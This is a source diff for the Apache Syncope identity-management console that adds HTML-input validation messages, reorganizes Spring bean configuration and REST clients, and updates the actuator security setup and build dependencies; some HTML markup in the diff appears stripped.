a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxPasswordFieldPanel.html +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxPasswordFieldPanel.html @@ -22,6 +22,22 @@ - +
+ + + + +
- \ No newline at end of file + diff --git a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/EncryptedFieldPanel_fr_CA.properties b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/EncryptedFieldPanel_fr_CA.properties new file mode 100644 index 00000000000..193287d6031 --- /dev/null +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/EncryptedFieldPanel_fr_CA.properties @@ -0,0 +1,17 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +confirmMessage=This will remove the current value. Continue? diff --git a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel.properties b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel.properties new file mode 100644 index 00000000000..812929d9247 --- /dev/null +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel.properties @@ -0,0 +1,17 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +htmlErrorMessage=HTML input not allowed for '${label}' diff --git a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_fr_CA.properties b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_fr_CA.properties new file mode 100644 index 00000000000..812929d9247 --- /dev/null +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_fr_CA.properties @@ -0,0 +1,17 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +htmlErrorMessage=HTML input not allowed for '${label}' diff --git a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_it.properties b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_it.properties new file mode 100644 index 00000000000..722f9084855 --- /dev/null +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_it.properties @@ -0,0 +1,17 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +htmlErrorMessage=Input HTML non consentito per '${label}' diff --git a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_ja.properties b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_ja.properties new file mode 100644 index 00000000000..812929d9247 --- /dev/null +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_ja.properties @@ -0,0 +1,17 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +htmlErrorMessage=HTML input not allowed for '${label}' diff --git a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_pt_BR.properties b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_pt_BR.properties new file mode 100644 index 00000000000..812929d9247 --- /dev/null +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_pt_BR.properties @@ -0,0 +1,17 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +htmlErrorMessage=HTML input not allowed for '${label}' diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportletWizardBuilder$Profile_ru.properties b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_ru.properties similarity index 60% rename from client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportletWizardBuilder$Profile_ru.properties rename to client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_ru.properties index 015497366d8..1ffe19264e3 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportletWizardBuilder$Profile_ru.properties +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel_ru.properties @@ -15,5 +15,5 @@ # specific language governing permissions and limitations # under the License. # -reportlet=Reportlet -configuration=\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f +# field.DateTimeFieldPanel$DateTimeFormValidator=\u00d0\u009f\u00d0\u00be\u00d0\u00bb\u00d0\u00b5 '${label0}' \u00d0\u00b4\u00d0\u00be\u00d0\u00bb\u00d0\u00b6\u00d0\u00bd\u00d0\u00be \u00d0\u00b1\u00d1\u008b\u00d1\u0082\u00d1\u008c \u00d0\u00b7\u00d0\u00b0\u00d0\u00bf\u00d0\u00be\u00d0\u00bb\u00d0\u00bd\u00d0\u00b5\u00d0\u00bd\u00d0\u00be \u00d0\u00bf\u00d0\u00be\u00d0\u00bb\u00d0\u00bd\u00d0\u00be\u00d1\u0081\u00d1\u0082\u00d1\u008c\u00d1\u008e +htmlErrorMessage=HTML input not allowed for '${label}' diff --git a/CONTRIBUTING.md b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/panels/SyncopeFormPanel.html similarity index 74% rename from CONTRIBUTING.md rename to client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/panels/SyncopeFormPanel.html index c527cceca5f..6271a58363d 100644 --- a/CONTRIBUTING.md +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/panels/SyncopeFormPanel.html @@ -16,7 +16,12 @@ specific language governing permissions and limitations under the License. --> -**Apache Syncope** is an Open Source system for managing digital identities in enterprise environments, -implemented in Java EE technology and released under Apache 2.0 license. + + +
+ [value] +
-Would you like to contribute? Visit https://syncope.apache.org/contributing.html + + + diff --git a/client/idrepo/console/NOTICE b/client/idrepo/console/NOTICE index bde93187899..a9a10ab5afa 100644 --- a/client/idrepo/console/NOTICE +++ b/client/idrepo/console/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2022 The Apache Software Foundation +Copyright 2012-2023 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). diff --git a/client/idrepo/console/pom.xml b/client/idrepo/console/pom.xml index 05a638f5250..fafe1a670c5 100644 --- a/client/idrepo/console/pom.xml +++ b/client/idrepo/console/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.client syncope-client-idrepo - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client IdRepo Console @@ -72,6 +72,15 @@ under the License. ${project.version} + + org.bouncycastle + bcpkix-jdk15on + + + org.bouncycastle + bcprov-jdk15on + + com.nimbusds nimbus-jose-jwt @@ -102,8 +111,8 @@ under the License. jsplumb - org.webjars.bower - chart.js + org.webjars + chartjs org.webjars @@ -199,9 +208,9 @@ under the License. org.apache.maven.plugins maven-surefire-plugin - + true - + @@ -274,13 +283,39 @@ under the License. debug + true true - clean package spring-boot:run + clean package + + org.apache.maven.plugins + maven-resources-plugin + + + copy-fit-classes + generate-sources + + copy-resources + + + ${project.build.outputDirectory}/org/apache/syncope/fit/core/reference + + + ${basedir}/../../../fit/core-reference/target/classes/org/apache/syncope/fit/core/reference + + SampleReportConf.class + + + + + + + + org.springframework.boot spring-boot-maven-plugin @@ -288,6 +323,7 @@ under the License. -Djavax.net.ssl.trustStore=${basedir}/../../../fit/wa-reference/src/test/resources/keystore.jks -Djavax.net.ssl.trustStorePassword=password -Dwicket.core.settings.general.configuration-type=development + -Dwicket.ioc.useByteBuddy=true -XX:HotswapAgent=fatjar -Xdebug -Xrunjdwp:transport=dt_socket,address=8003,server=y,suspend=n @@ -295,6 +331,14 @@ under the License. debug + + + package + + run + + + @@ -349,6 +393,7 @@ under the License. syncope-ext-scimv2-client-console ${project.version} + org.apache.syncope.ext.oidcc4ui syncope-ext-oidcc4ui-client-console diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/ConsoleContext.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/ConsoleContext.java deleted file mode 100644 index 6c6d741876a..00000000000 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/ConsoleContext.java +++ /dev/null @@ -1,128 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.client.console; - -import org.apache.syncope.client.console.commons.AnyDirectoryPanelAdditionalActionLinksProvider; -import org.apache.syncope.client.console.commons.AnyDirectoryPanelAdditionalActionsProvider; -import org.apache.syncope.client.console.commons.AnyWizardBuilderAdditionalSteps; -import org.apache.syncope.client.console.commons.ExternalResourceProvider; -import org.apache.syncope.client.console.commons.IdRepoAnyDirectoryPanelAdditionalActionLinksProvider; -import org.apache.syncope.client.console.commons.IdRepoAnyDirectoryPanelAdditionalActionsProvider; -import org.apache.syncope.client.console.commons.IdRepoAnyWizardBuilderAdditionalSteps; -import org.apache.syncope.client.console.commons.IdRepoExternalResourceProvider; -import org.apache.syncope.client.console.commons.IdRepoImplementationInfoProvider; -import org.apache.syncope.client.console.commons.IdRepoPolicyTabProvider; -import org.apache.syncope.client.console.commons.IdRepoRealmPolicyProvider; -import org.apache.syncope.client.console.commons.IdRepoStatusProvider; -import org.apache.syncope.client.console.commons.IdRepoVirSchemaDetailsPanelProvider; -import org.apache.syncope.client.console.commons.ImplementationInfoProvider; -import org.apache.syncope.client.console.commons.PolicyTabProvider; -import org.apache.syncope.client.console.commons.PreviewUtils; -import org.apache.syncope.client.console.commons.RealmPolicyProvider; -import org.apache.syncope.client.console.commons.StatusProvider; -import org.apache.syncope.client.console.commons.VirSchemaDetailsPanelProvider; -import org.apache.syncope.client.console.init.ClassPathScanImplementationContributor; -import org.apache.syncope.client.console.init.ClassPathScanImplementationLookup; -import org.apache.syncope.client.ui.commons.MIMETypesLoader; -import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; -import org.springframework.context.ApplicationContext; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; - -@Configuration(proxyBeanMethods = false) -public class ConsoleContext { - - @ConditionalOnMissingBean - @Bean - public ClassPathScanImplementationLookup classPathScanImplementationLookup( - final ApplicationContext ctx, final ConsoleProperties props) { - - ClassPathScanImplementationLookup lookup = new ClassPathScanImplementationLookup( - ctx.getBeansOfType(ClassPathScanImplementationContributor.class).values(), props); - lookup.load(); - return lookup; - } - - @ConditionalOnMissingBean - @Bean - public MIMETypesLoader mimeTypesLoader() { - MIMETypesLoader mimeTypesLoader = new MIMETypesLoader(); - mimeTypesLoader.load(); - return mimeTypesLoader; - } - - @ConditionalOnMissingBean - @Bean - public PreviewUtils previewUtils() { - return new PreviewUtils(); - } - - @ConditionalOnMissingBean - @Bean - public ExternalResourceProvider resourceProvider() { - return new IdRepoExternalResourceProvider(); - } - - @ConditionalOnMissingBean - @Bean - public AnyDirectoryPanelAdditionalActionsProvider anyDirectoryPanelAdditionalActionsProvider() { - return new IdRepoAnyDirectoryPanelAdditionalActionsProvider(); - } - - @ConditionalOnMissingBean - @Bean - public AnyDirectoryPanelAdditionalActionLinksProvider anyDirectoryPanelAdditionalActionLinksProvider() { - return new IdRepoAnyDirectoryPanelAdditionalActionLinksProvider(); - } - - @ConditionalOnMissingBean - @Bean - public AnyWizardBuilderAdditionalSteps anyWizardBuilderAdditionalSteps() { - return new IdRepoAnyWizardBuilderAdditionalSteps(); - } - - @ConditionalOnMissingBean - @Bean - public StatusProvider statusProvider() { - return new IdRepoStatusProvider(); - } - - @ConditionalOnMissingBean - @Bean - public VirSchemaDetailsPanelProvider virSchemaDetailsPanelProvider() { - return new IdRepoVirSchemaDetailsPanelProvider(); - } - - @ConditionalOnMissingBean - @Bean - public ImplementationInfoProvider implementationInfoProvider() { - return new IdRepoImplementationInfoProvider(); - } - - @ConditionalOnMissingBean - @Bean - public RealmPolicyProvider realmPolicyProvider() { - return new IdRepoRealmPolicyProvider(); - } - - @Bean - public PolicyTabProvider idRepoPolicyTabProvider() { - return new IdRepoPolicyTabProvider(); - } -} diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/ConsoleProperties.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/ConsoleProperties.java index 30764ebf2fd..15d86880e81 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/ConsoleProperties.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/ConsoleProperties.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.client.console; +import java.io.Serializable; import java.util.HashMap; import java.util.Map; import org.apache.syncope.client.console.pages.BasePage; @@ -28,7 +29,11 @@ @ConfigurationProperties("console") public class ConsoleProperties extends CommonUIProperties { - public static class Topology { + private static final long serialVersionUID = -6444470724127309370L; + + public static class Topology implements Serializable { + + private static final long serialVersionUID = -4530238696048859905L; private int corePoolSize = 10; @@ -61,32 +66,16 @@ public void setQueueCapacity(final int queueCapacity) { } } - private String adminUser = "admin"; - - private String reconciliationReportKey; - private final Map> page = new HashMap<>(); private String defaultAnyPanelClass = AnyPanel.class.getName(); - private final Topology topology = new Topology(); - - @Override - public String getAdminUser() { - return adminUser; - } - - @Override - public void setAdminUser(final String adminUser) { - this.adminUser = adminUser; - } + private int realmsFullTreeThreshold = 20; - public String getReconciliationReportKey() { - return reconciliationReportKey; - } + private final Topology topology = new Topology(); - public void setReconciliationReportKey(final String reconciliationReportKey) { - this.reconciliationReportKey = reconciliationReportKey; + public Map> getPage() { + return page; } public String getDefaultAnyPanelClass() { @@ -97,8 +86,12 @@ public void setDefaultAnyPanelClass(final String defaultAnyPanelClass) { this.defaultAnyPanelClass = defaultAnyPanelClass; } - public Map> getPage() { - return page; + public int getRealmsFullTreeThreshold() { + return realmsFullTreeThreshold; + } + + public void setRealmsFullTreeThreshold(final int realmsFullTreeThreshold) { + this.realmsFullTreeThreshold = realmsFullTreeThreshold; } public Topology getTopology() { diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/IdRepoConsoleContext.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/IdRepoConsoleContext.java new file mode 100644 index 00000000000..94576912ea7 --- /dev/null +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/IdRepoConsoleContext.java @@ -0,0 +1,315 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console; + +import java.util.List; +import org.apache.syncope.client.console.commons.AccessPolicyConfProvider; +import org.apache.syncope.client.console.commons.AnyDirectoryPanelAdditionalActionLinksProvider; +import org.apache.syncope.client.console.commons.AnyDirectoryPanelAdditionalActionsProvider; +import org.apache.syncope.client.console.commons.AnyWizardBuilderAdditionalSteps; +import org.apache.syncope.client.console.commons.ExternalResourceProvider; +import org.apache.syncope.client.console.commons.IdRepoAccessPolicyConfProvider; +import org.apache.syncope.client.console.commons.IdRepoAnyDirectoryPanelAdditionalActionLinksProvider; +import org.apache.syncope.client.console.commons.IdRepoAnyDirectoryPanelAdditionalActionsProvider; +import org.apache.syncope.client.console.commons.IdRepoAnyWizardBuilderAdditionalSteps; +import org.apache.syncope.client.console.commons.IdRepoExternalResourceProvider; +import org.apache.syncope.client.console.commons.IdRepoImplementationInfoProvider; +import org.apache.syncope.client.console.commons.IdRepoPolicyTabProvider; +import org.apache.syncope.client.console.commons.IdRepoRealmPolicyProvider; +import org.apache.syncope.client.console.commons.IdRepoStatusProvider; +import org.apache.syncope.client.console.commons.IdRepoVirSchemaDetailsPanelProvider; +import org.apache.syncope.client.console.commons.ImplementationInfoProvider; +import org.apache.syncope.client.console.commons.PolicyTabProvider; +import org.apache.syncope.client.console.commons.PreviewUtils; +import org.apache.syncope.client.console.commons.RealmPolicyProvider; +import org.apache.syncope.client.console.commons.StatusProvider; +import org.apache.syncope.client.console.commons.VirSchemaDetailsPanelProvider; +import org.apache.syncope.client.console.init.ClassPathScanImplementationContributor; +import org.apache.syncope.client.console.init.ClassPathScanImplementationLookup; +import org.apache.syncope.client.console.rest.AccessTokenRestClient; +import org.apache.syncope.client.console.rest.AnyObjectRestClient; +import org.apache.syncope.client.console.rest.AnyTypeClassRestClient; +import org.apache.syncope.client.console.rest.AnyTypeRestClient; +import org.apache.syncope.client.console.rest.ApplicationRestClient; +import org.apache.syncope.client.console.rest.AuditRestClient; +import org.apache.syncope.client.console.rest.CommandRestClient; +import org.apache.syncope.client.console.rest.DelegationRestClient; +import org.apache.syncope.client.console.rest.DynRealmRestClient; +import org.apache.syncope.client.console.rest.FIQLQueryRestClient; +import org.apache.syncope.client.console.rest.GroupRestClient; +import org.apache.syncope.client.console.rest.ImplementationRestClient; +import org.apache.syncope.client.console.rest.LoggerConf; +import org.apache.syncope.client.console.rest.NotificationRestClient; +import org.apache.syncope.client.console.rest.PolicyRestClient; +import org.apache.syncope.client.console.rest.RealmRestClient; +import org.apache.syncope.client.console.rest.RelationshipTypeRestClient; +import org.apache.syncope.client.console.rest.ReportRestClient; +import org.apache.syncope.client.console.rest.RoleRestClient; +import org.apache.syncope.client.console.rest.SchemaRestClient; +import org.apache.syncope.client.console.rest.SecurityQuestionRestClient; +import org.apache.syncope.client.console.rest.SyncopeRestClient; +import org.apache.syncope.client.console.rest.TaskRestClient; +import org.apache.syncope.client.console.rest.UserRestClient; +import org.apache.syncope.client.console.rest.UserSelfRestClient; +import org.apache.syncope.client.ui.commons.MIMETypesLoader; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +public class IdRepoConsoleContext { + + @ConditionalOnMissingBean + @Bean + public ClassPathScanImplementationLookup classPathScanImplementationLookup( + final ConsoleProperties props, + final List classPathScanImplementationContributors) { + + ClassPathScanImplementationLookup lookup = + new ClassPathScanImplementationLookup(classPathScanImplementationContributors, props); + lookup.load(); + return lookup; + } + + @ConditionalOnMissingBean + @Bean + public MIMETypesLoader mimeTypesLoader() { + MIMETypesLoader mimeTypesLoader = new MIMETypesLoader(); + mimeTypesLoader.load(); + return mimeTypesLoader; + } + + @ConditionalOnMissingBean + @Bean + public PreviewUtils previewUtils(final ClassPathScanImplementationLookup lookup) { + return new PreviewUtils(lookup); + } + + @ConditionalOnMissingBean + @Bean + public ExternalResourceProvider resourceProvider() { + return new IdRepoExternalResourceProvider(); + } + + @ConditionalOnMissingBean + @Bean + public AnyDirectoryPanelAdditionalActionsProvider anyDirectoryPanelAdditionalActionsProvider() { + return new IdRepoAnyDirectoryPanelAdditionalActionsProvider(); + } + + @ConditionalOnMissingBean + @Bean + public AnyDirectoryPanelAdditionalActionLinksProvider anyDirectoryPanelAdditionalActionLinksProvider() { + return new IdRepoAnyDirectoryPanelAdditionalActionLinksProvider(); + } + + @ConditionalOnMissingBean + @Bean + public AnyWizardBuilderAdditionalSteps anyWizardBuilderAdditionalSteps() { + return new IdRepoAnyWizardBuilderAdditionalSteps(); + } + + @ConditionalOnMissingBean + @Bean + public StatusProvider statusProvider() { + return new IdRepoStatusProvider(); + } + + @ConditionalOnMissingBean + @Bean + public VirSchemaDetailsPanelProvider virSchemaDetailsPanelProvider() { + return new IdRepoVirSchemaDetailsPanelProvider(); + } + + @ConditionalOnMissingBean + @Bean + public ImplementationInfoProvider implementationInfoProvider( + final ClassPathScanImplementationLookup lookup, + final ImplementationRestClient implementationRestClient) { + + return new IdRepoImplementationInfoProvider(lookup, implementationRestClient); + } + + @ConditionalOnMissingBean + @Bean + public RealmPolicyProvider realmPolicyProvider(final PolicyRestClient policyRestClient) { + return new IdRepoRealmPolicyProvider(policyRestClient); + } + + @Bean + public PolicyTabProvider idRepoPolicyTabProvider(final PolicyRestClient policyRestClient) { + return new IdRepoPolicyTabProvider(policyRestClient); + } + + @ConditionalOnMissingBean + @Bean + public AccessPolicyConfProvider accessPolicyConfProvider() { + return new IdRepoAccessPolicyConfProvider(); + } + + @ConditionalOnMissingBean + @Bean + public AccessTokenRestClient accessTokenRestClient() { + return new AccessTokenRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public AnyObjectRestClient anyObjectRestClient() { + return new AnyObjectRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public AnyTypeClassRestClient anyTypeClassRestClient() { + return new AnyTypeClassRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public AnyTypeRestClient anyTypeRestClient() { + return new AnyTypeRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public ApplicationRestClient applicationRestClient() { + return new ApplicationRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public AuditRestClient auditRestClient() { + return new AuditRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public CommandRestClient commandRestClient() { + return new CommandRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public DelegationRestClient delegationRestClient() { + return new DelegationRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public DynRealmRestClient dynRealmRestClient() { + return new DynRealmRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public FIQLQueryRestClient fiqlQueryRestClient() { + return new FIQLQueryRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public GroupRestClient groupRestClient() { + return new GroupRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public ImplementationRestClient implementationRestClient() { + return new ImplementationRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public LoggerConf loggerConf() { + return new LoggerConf(); + } + + @ConditionalOnMissingBean + @Bean + public NotificationRestClient notificationRestClient() { + return new NotificationRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public PolicyRestClient policyRestClient() { + return new PolicyRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public RealmRestClient realmRestClient() { + return new RealmRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public RelationshipTypeRestClient relationshipTypeRestClient() { + return new RelationshipTypeRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public ReportRestClient reportRestClient() { + return new ReportRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public RoleRestClient roleRestClient() { + return new RoleRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public SchemaRestClient schemaRestClient() { + return new SchemaRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public SecurityQuestionRestClient securityQuestionRestClient() { + return new SecurityQuestionRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public SyncopeRestClient syncopeRestClient() { + return new SyncopeRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public TaskRestClient taskRestClient() { + return new TaskRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public UserRestClient userRestClient() { + return new UserRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public UserSelfRestClient userSelfRestClient() { + return new UserSelfRestClient(); + } +} diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SecurityConfig.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SecurityConfig.java index f33629d7320..f54a0494e67 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SecurityConfig.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SecurityConfig.java @@ -20,32 +20,40 @@ import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.Customizer; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer; import org.springframework.security.core.userdetails.User; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.security.provisioning.InMemoryUserDetailsManager; import org.springframework.security.web.SecurityFilterChain; +import org.springframework.security.web.util.matcher.NegatedRequestMatcher; @EnableWebSecurity @Configuration(proxyBeanMethods = false) public class SecurityConfig { + @ConditionalOnMissingBean @Bean - public SecurityFilterChain filterChain(final HttpSecurity http) throws Exception { - http.csrf().disable(). - authorizeRequests(). - requestMatchers(EndpointRequest.toAnyEndpoint()). - authenticated(). - and(). - httpBasic(); + public SecurityFilterChain actuatorFilterChain(final HttpSecurity http) throws Exception { + EndpointRequest.EndpointRequestMatcher actuatorEndpoints = EndpointRequest.toAnyEndpoint(); + http.authorizeHttpRequests(customizer -> customizer. + requestMatchers(new NegatedRequestMatcher(actuatorEndpoints)).permitAll(). + requestMatchers(actuatorEndpoints).authenticated()); + + http.httpBasic(Customizer.withDefaults()); + http.csrf(AbstractHttpConfigurer::disable); + return http.build(); } + @ConditionalOnMissingBean @Bean - public InMemoryUserDetailsManager userDetailsService(final ConsoleProperties props) { + public InMemoryUserDetailsManager actuatorUserDetailsService(final ConsoleProperties props) { UserDetails user = User.withUsername(props.getAnonymousUser()). password("{noop}" + props.getAnonymousKey()). roles(IdRepoEntitlement.ANONYMOUS). diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeConsoleApplication.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeConsoleApplication.java index d3ee8b5cf0b..ff65011667b 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeConsoleApplication.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeConsoleApplication.java @@ -19,34 +19,34 @@ package org.apache.syncope.client.console; import com.giffing.wicket.spring.boot.starter.web.config.WicketWebInitializerAutoConfig.WebSocketWicketWebInitializerAutoConfiguration; +import java.util.List; import java.util.Map; -import org.apache.syncope.client.console.actuate.SyncopeConsoleInfoContributor; 